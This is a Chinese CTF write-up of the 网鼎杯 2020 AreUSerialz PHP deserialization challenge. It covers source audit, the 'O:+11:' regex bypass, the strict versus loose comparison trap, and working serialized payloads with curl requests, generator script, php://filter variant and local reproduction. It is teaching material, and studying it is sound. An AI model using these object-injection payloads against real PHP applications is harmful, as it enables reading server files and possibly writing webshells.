网鼎杯 2020 青龙组的这道 AreUSerialz,我愿称之为 PHP 反序列化的入门必修课。题目名字本身就是谐音梗:AreUSerialz 读起来就是 Are you serial?,出题人等于在说:不会序列化就别来了。事实也确实如此,整道题的核心就是 PHP 反序列化,难度不大但在细节上埋了好几个坑,尤其适合刚接触 CTF Web 方向、想搞明白 unserialize 到底怎么玩的人。我当年第一次做这道题的时候也踩了坑,回头整理下来发现它几乎把反序列化的经典考点串了一遍:魔术方法触发、强比较与弱比较的差异、序列化对象被正则过滤时的绕过技巧。这篇文章不打算写得太玄,直接按我当时做题的流程走一遍:从源码审计开始,一步步分析哪里能利用、怎么构造 payload、哪些坑必须避开。
1. 题目概览:谐音梗背后的考点
1.1 题目基本信息
网鼎杯 2020 青龙组的 Web 题,名字叫 AreUSerialz,题型是典型的白盒 PHP 反序列化。打开题目页面就能看到完整源码,highlight_file(__FILE__)直接把代码亮给你,目标很明确:通过传入一个str参数触发反序列化,最终拿到 flag。
我当时看到题目的第一反应是:既然叫 "AreUSerialz",而且页面直接给出源码,那重点一定在unserialize()这个函数上。CTF 里面这种“代码全给你”的题反而比黑盒更好做,因为不需要猜,只需要读代码、找逻辑漏洞,然后构造一条合理的调用链。整道题给我的感觉就是:不需要任何中间人攻击、不需要爆破,纯粹拼代码审计能力和对 PHP 语言特性的理解。
1.2 为什么这道题值得复盘
这道题的含金量在于“麻雀虽小,五脏俱全”。它涉及的知识点包括:
- PHP 对象序列化与反序列化的基本格式
- 魔术方法
__destruct()的触发时机 - 强比较
===与弱比较==的区别 - 正则过滤
/\[oc\]:\d+:/i的绕过思路 file_get_contents读取文件时的路径构造
这几块内容单独拎出来都不难,但组合在一起就很容易让人栽跟头。我记得当时看网上很多人的 writeup,payload 就一行,看起来特别简单,但自己动手复现时却发现怎么都不出 flag,原因就是序列化字符串里某个属性类型不对、长度算错,或者 URL 编码没处理。所以这篇文章我把每一步都拆开讲,尽量让读者能照着复现成功。
2. 源码审计:把 FileHandler 的底裤翻出来
2.1 入口点与过滤规则
题目源码先include("flag.php"),然后高亮显示文件内容,紧接着定义了一个FileHandler类,最后有一段入口逻辑:
if(isset($_GET["str"])) { $str = (string)$_GET["str"]; if(preg_match('/[oc]:\d+:/i', $str)) { die("Stop Hacking!"); } unserialize($str); }这段代码的逻辑非常直白:接收 GET 参数str,强转成字符串,然后用正则过滤,最后直接unserialize。这里有几个细节值得注意。
第一,(string)$_GET["str"]这个强转在正常情况下是多余的,因为$_GET里的值本身就是字符串,这个操作更像是“保险措施”,防止有人传入数组类型的参数。
第二,正则/[oc]:\d+:/i匹配的是:字符o或c(大小写不敏感)后面紧跟冒号、一个或多个数字、再一个冒号。换句话说,它专门拦截标准的 PHP 对象序列化字符串。PHP 中对象序列化的格式是O:<类名长度>:"<类名>":<属性数量>:{...},其中O就是对象标识,而C是自定义序列化接口的标识。这个正则等于直接把最常见的对象序列化写法全挡掉了。
第三,unserialize($str)的返回值没有被赋值给任何变量。这个细节很重要,意味着这个临时对象在语句执行结束后会立刻被销毁,从而触发__destruct()魔术方法。出题人显然就是想让__destruct()成为整个利用链的起点。
2.2 三个核心方法的业务逻辑
FileHandler类中有三个公开方法:process()、write()、read(),以及一个辅助方法output()。先看process():
public function process() { if($this->op == "1") { $this->write(); } else if($this->op == "2") { $res = $this->read(); $this->output($res); } else { $this->output("Bad Hacker!"); } }process()根据op属性的值决定走哪条分支:等于"1"就写文件,等于"2"就读文件,否则输出Bad Hacker!。
再看write():
public function write() { if(isset($this->filename) && isset($this->content)) { if(strlen((string)$this->content) > 100) { $this->output("Too long!"); die(); } $res = file_put_contents($this->filename, $this->content); if($res) $this->output("Successful!"); else $this->output("Failed!"); } else { $this->output("File not found!"); } }write()需要filename和content两个属性都有值,并且content字符串长度不能超过 100,然后调用file_put_contents把内容写入文件。如果能控制这两个属性,理论上可以往服务器写任意文件,比如写一个 webshell。不过题目环境是否允许写文件、写到哪里,需要结合实际目录权限判断。
然后是read(),这道题我们真正要走的分支:
public function read() { if(isset($this->filename)) { if(!preg_match("/flag/i", $this->filename)) { $this->output("Permission denied!"); } else { $res = file_get_contents($this->filename); $this->output($res); } } else { $this->output("File not found!"); } }read()先判断filename是否设置,然后检查文件名里是否包含flag(不区分大小写),如果不包含就输出Permission denied!,包含则用file_get_contents读取文件内容并输出。
熟悉 PHP 文件操作的读者应该已经反应过来了:file_get_contents的参数不限于普通文件路径,只要 PHP 环境开启了allow_url_fopen,还可以用php://filter这样的流包装器。这意味着即使文件名被限制为必须包含flag,也完全可以构造出合法的读取路径。
2.3 __destruct 才是真正的触发入口
FileHandler类定义了一个析构方法:
public function __destruct() { if($this->op === "2") $this->process(); else $this->output("Hacker!"); }__destruct()在对象被销毁时自动调用。由于入口代码里unserialize($str)没有把返回值赋给变量,临时对象在语句结束时立刻销毁,所以__destruct()一定会执行。
但是这里有个关键陷阱:__destruct()里用的是强比较$this->op === "2",要求op的值不仅是数字2,还必须是字符串类型"2"。如果把op序列化成整数2,那么2 === "2"的结果为false,会走进else分支输出Hacker!,整个利用链就断了。
而process()里用的却是弱比较$this->op == "1"和$this->op == "2"。弱比较在 PHP 中会自动做类型转换,字符串"2"和整数2都会被当成同一个值。这两种比较运算符混用,正是出题人埋下的第二个坑。
3. 漏洞利用:两个坑和一条链
3.1 坑一:正则过滤与加号绕过
正常的 PHP 对象序列化字符串长这样:
O:11:"FileHandler":3:{...}其中O代表对象,11是类名FileHandler的字符长度,3是属性数量。题目正则/[oc]:\d+:/i会匹配O:紧跟数字的部分,因为正则中的i修饰符让大小写不敏感,O和o都会被匹配,连自定义序列化的C开头格式也被一并拦下。
那怎么绕过?答案是利用 PHPunserialize解析的宽容性:在对象类型标识符和类名长度之间加一个+号,写成:
O:+11:"FileHandler":3:{...}PHP 官方文档和实际运行都允许这种写法,+会被忽略,当成普通的正号处理。但正则却匹配不了它,因为+不是数字。这样一来,过滤规则就被完美绕过了。
这里再说一个容易忽略的点:preg_match是搜索匹配,不是全字匹配。就算你用一个大的数组序列化字符串包住对象,只要整个字符串里出现了O:11:这样的片段,照样会被正则命中。所以不能靠外层套数组来绕过,只能从对象标识符本身的写法上下功夫。加号绕过的本质,是让“实际给unserialize解析的字符串”和“正则试图匹配的字符串”产生差异。
3.2 坑二:强比较与弱比较的区别
前面已经提到,__destruct()用强比较,process()用弱比较。这里再展开说说为什么只能用字符串"2"。
PHP 的弱比较==会比较两个值在自动类型转换后的结果。"2" == 2为true,"2" == "1"为false。强比较===则要求类型和值都完全一致,"2" === 2为false,"2" === "2"为true。
假设我们在序列化字符串里把op写成整数:
s:2:"op";i:2;那么反序列化后$this->op是整数2,进入__destruct()时2 === "2"不成立,直接输出Hacker!,根本走不到process()。
假设把op写成布尔值true,同样会因为类型不是字符串而被强比较拦下。所以唯一正确的写法是:
s:2:"op";s:1:"2";也就是把op序列化为一个长度为 1 的字符串"2"。这样才能满足__destruct()中的强比较,之后进入process(),弱比较"2" == "2"自然也是成立的,成功走进read()分支。
3.3 构造 payload 并发送请求
现在整条调用链已经清晰了:
- 反序列化一个
FileHandler对象 op为字符串"2",通过__destruct()强比较- 进入
process(),走到read()分支 filename包含flag,通过正则检查file_get_contents读取 flag 文件并输出
那么首先要确定类名长度。FileHandler一共 11 个字符,所以类名长度是11,不是某些 writeup 里写的12。如果你用手工构造时把长度写错,unserialize会直接报错或者解析出错误的对象。属性名长度也要注意:op是 2,filename是 8,content是 7。
理论上 payload 可以这样手写:
O:+11:"FileHandler":3:{s:2:"op";s:1:"2";s:8:"filename";s:8:"flag.php";s:7:"content";s:1:"x";}其中s:8:"flag.php"表示filename的值为flag.php,长度为 8。content随便给一个长度为 1 的字符串即可,因为read()分支根本不会用到它。
不过我更推荐用 PHP 自动生成,避免手算长度出错。先正常创建一个FileHandler对象并序列化,然后做一次字符串替换,把O:11:替换成O:+11:,脚本如下:
<?php class FileHandler { public $op = "2"; public $filename = "flag.php"; public $content = "x"; } $payload = serialize(new FileHandler()); $payload = str_replace('O:11:', 'O:+11:', $payload); echo $payload . "\n"; echo urlencode($payload) . "\n"; ?>把脚本放到本地 PHP 环境里跑一下,就能得到原始 payload 和 URL 编码后的结果。注意urlencode会把+编码成%2B,这一点非常重要:URL 里的+会被服务器解析为空格,如果直接传输未编码的+,反序列化字符串就变成了O: 11:"FileHandler"...,格式直接损坏。
实际发送请求时,用 curl 或者浏览器都行。我当时的请求长这样:
curl 'http://target/?str=O%3A%2B11%3A%22FileHandler%22%3A3%3A%7Bs%3A2%3A%22op%22%3Bs%3A1%3A%222%22%3Bs%3A8%3A%22filename%22%3Bs%3A8%3A%22flag.php%22%3Bs%3A7%3A%22content%22%3Bs%3A1%3A%22x%22%3B%7D'如果 flag 在flag.php里,页面会回显[Result]: <?php $flag = "flag{...}"; ?>。因为file_get_contents读取的是文件源码,PHP 标签不会被解析,会原样显示在页面里。
4. 本地复现:从零打一遍
4.1 搭建本地靶场
在线的题目环境过期了也没关系,完全可以在本地复现。创建一个目录,里面放两个文件:flag.php和test.php。
flag.php内容随意,只要能看出读取成功:
<?php $flag = "flag{test_flag_for_areuserialz}"; ?>test.php直接模拟题目源码,注意保留入口逻辑和类定义:
<?php include("flag.php"); highlight_file(__FILE__); class FileHandler { public $op = "1"; public $filename = "/flag.txt"; public $content; public function process() { if($this->op == "1") { $this->write(); } else if($this->op == "2") { $res = $this->read(); $this->output($res); } else { $this->output("Bad Hacker!"); } } public function write() { if(isset($this->filename) && isset($this->content)) { if(strlen((string)$this->content) > 100) { $this->output("Too long!"); die(); } $res = file_put_contents($this->filename, $this->content); if($res) $this->output("Successful!"); else $this->output("Failed!"); } else { $this->output("File not found!"); } } public function read() { if(isset($this->filename)) { if(!preg_match("/flag/i", $this->filename)) { $this->output("Permission denied!"); } else { $res = file_get_contents($this->filename); $this->output($res); } } else { $this->output("File not found!"); } } public function output($s) { echo "[Result]: "; echo $s; } public function __destruct() { if($this->op === "2") $this->process(); else $this->output("Hacker!"); } } if(isset($_GET["str"])) { $str = (string)$_GET["str"]; if(preg_match('/[oc]:\d+:/i', $str)) { die("Stop Hacking!"); } unserialize($str); } ?>然后在目录下启动 PHP 内置服务器:
php -S 127.0.0.1:8080访问http://127.0.0.1:8080/test.php就能看到源码页面。
4.2 四次对比测试
有了本地靶场,就可以把各种情况都测一遍,看看每种写法到底会触发什么结果。
第一次,发送正常利用 payload:
curl 'http://127.0.0.1:8080/test.php?str=O%3A%2B11%3A%22FileHandler%22%3A3%3A%7Bs%3A2%3A%22op%22%3Bs%3A1%3A%222%22%3Bs%3A8%3A%22filename%22%3Bs%3A8%3A%22flag.php%22%3Bs%3A7%3A%22content%22%3Bs%3A1%3A%22x%22%3B%7D'结果页面上出现:
[Result]: <?php $flag = "flag{test_flag_for_areuserialz}"; ?>说明整条链走通了。
第二次,发送不带+的 payload,验证正则拦截:
curl 'http://127.0.0.1:8080/test.php?str=O%3A11%3A%22FileHandler%22%3A3%3A%7Bs%3A2%3A%22op%22%3Bs%3A1%3A%222%22%3Bs%3A8%3A%22filename%22%3Bs%3A8%3A%22flag.php%22%3Bs%3A7%3A%22content%22%3Bs%3A1%3A%22x%22%3B%7D'页面输出Stop Hacking!,说明正则生效了。
第三次,把op改为整数2,只改序列化中对应属性:
O:+11:"FileHandler":3:{s:2:"op";i:2;s:8:"filename";s:8:"flag.php";s:7:"content";s:1:"x";}这次页面输出[Result]: Hacker!。原因就是强比较2 === "2"不成立,__destruct()走进了else分支。
第四次,把filename改为一个不包含flag的文件路径,比如/etc/passwd:
O:+11:"FileHandler":3:{s:2:"op";s:1:"2";s:8:"filename";s:11:"/etc/passwd";s:7:"content";s:1:"x";}页面输出[Result]: Permission denied!,证明read()里的文件名检查确实起作用了。
经过这四次对比,整道题的逻辑就完全清楚了:过滤拦截、强比较、文件名校验,每一步都必须满足,缺一不可。
4.3 扩展思路:用 php://filter 读源码
如果 flag 不在根目录,或者flag.php内容包含特殊字符导致页面显示异常,还可以用php://filter来读取源码。read()只检查filename字符串里有没有flag,而php://filter/convert.base64-encode/resource=flag.php这个字符串天然包含resource=flag.php,完全满足正则要求。
对应 payload 需要把filename的值改成上面的 filter 字符串,但这个字符串比较长,手算长度很容易出错,所以更推荐用脚本生成。用php://filter读取后,页面会返回一段 base64 编码的内容,解码后就是flag.php的源码。
5. 踩坑记录与排查思路
5.1 典型问题速查表
做这类题的时候,最烦的就是 payload 看起来没问题但就是不出 flag。我把自己实际调试中遇到的情况整理成了表格,方便对照排查。
| 现象 | 可能原因 | 排查方法 |
|---|---|---|
页面输出Stop Hacking! | 序列化字符串中O:后面没有加+,被正则拦截 | 检查所有对象标识符,确认改写为O:+11: |
页面输出[Result]: Hacker! | op属性类型不是字符串"2" | 检查序列化片段应为s:1:"2";,不能是i:2;或b:1; |
页面输出[Result]: Permission denied! | filename不包含flag子串 | 改为flag.php、/flag.txt、php://filter/.../resource=flag.php等路径 |
页面输出[Result]: File not found! | filename未设置或序列化属性名错误 | 确认s:8:"filename";长度正确,值存在 |
| 页面空白或反序列化报错 | 类名长度、属性名长度计算错误 | 用 PHP 脚本serialize()自动生成 payload,再替换O:11:为O:+11: |
URL 传参后+变成空格 | 未对+做 URL 编码 | 将+手工替换为%2B,或使用urlencode()后的完整字符串 |
| 能读取但页面看到的是 PHP 源码标签 | 读取的是.php文件,内容未被解析 | 属于正常现象,flag 就在源码文本中;也可改用php://filter读取 base64 内容 |
5.2 几个容易忽略的细节
第一,反序列化属性顺序并不重要。PHP 在反序列化时会根据属性名把值赋给对应属性,所以属性在序列化字符串里的排列顺序可以任意调整。但属性数量必须匹配,少写一个属性会导致解析错误,多写一般会被忽略。
第二,FileHandler的类名长度是 11,不是 12。网上有些早期的 writeup 写的是O:+12,这是错的。一旦类名长度和真实类名不匹配,反序列化就会失败。如果拿不准,直接在本地跑一下strlen('FileHandler')就能确认。
第三,content属性在read()分支里完全用不到,但序列化字符串里依然要给它一个值,因为属性总数是 3。如果你只写两个属性,PHP 反序列化时虽然会尽量容错,但为了稳妥最好不要冒险。
第四,URL 编码问题。整套 payload 里包含大量特殊字符:冒号、引号、花括号、分号、加号。在浏览器中直接拼接 URL 时,引号和花括号都需要编码。用 Burp Suite 或者写脚本发送请求会更方便,否则很容易被各种编码问题干扰。
第五,unserialize失败时通常不会输出 PHP 警告(如果程序里没有开启错误显示),所以页面可能表现为空白或者直接返回 500。这时候不要乱猜,把 payload 放到本地测试环境里跑一下,看 PHP 报错信息是最快的方式。
6. 从这道题到真实世界的反序列化
6.1 真实场景中的对象注入
很多人觉得 CTF 里的反序列化题只是出题人自嗨,跟真实世界没关系。其实不然。PHP 应用里只要存在“用户可控的序列化数据被反序列化”的情况,就可能被对象注入。典型的场景包括:把用户信息序列化后存进 Cookie、把对象序列化后写入$_SESSION文件、把序列化请求体直接传给unserialize。当攻击者能控制这些序列化字符串时,就可以构造特定对象,让它在反序列化或析构时触发危险方法,形成类似这道题的 POP 链。
历史上很多真实漏洞都出在这个模式上:ThinkPHP 的反序列化 RCE、Laravel 的Illuminate反序列化利用链、各种 CMS 的插件漏洞,本质上都是“可控反序列化 + 魔术方法 + 危险函数”。所以别看这道题只是一个比赛小题,它背后的原理在真实漏洞分析中非常常见。
6.2 复盘之后的三点体会
第一次做这道题时,我卡在强比较和弱比较那个坑上很久。当时只想着用弱比较方便,直接把op设成了整数2,结果页面反复输出Hacker!,完全没意识到__destruct()里还有一个===在等着。后来把源码逐行读了一遍,才惊觉这两个运算符的混用就是出题人故意埋的雷。
第二点体会是:构造反序列化 payload 时,千万别高估自己的心算能力。类名长度、属性名长度、属性值长度,但凡错一个数字,整个字符串就废了。老老实实用 PHP 脚本生成,再改一个+,是最稳的做法。很多 writeup 里给的 payload 都是经过脚本生成的,直接抄可能没问题,但一旦题目环境或类名变化,自己手算就会翻车。
第三点体会是:遇到过滤条件,不要急着想什么花里胡哨的绕过姿势,先看看 PHP 语言本身是不是比正则更“宽容”。这道题里O:+11能绕过,靠的就是unserialize对加号的容忍,而这种宽容性往往就是出题人留给你的生路。后来我复盘网鼎杯后续年份的题目,甚至去看网鼎杯 2024 的 writeup,会发现很多反序列化题的核心套路依然没变:找入口、找魔术方法、找危险函数、绕过过滤。把这几个环节练熟了,以后遇到类似的题目就会顺畅很多。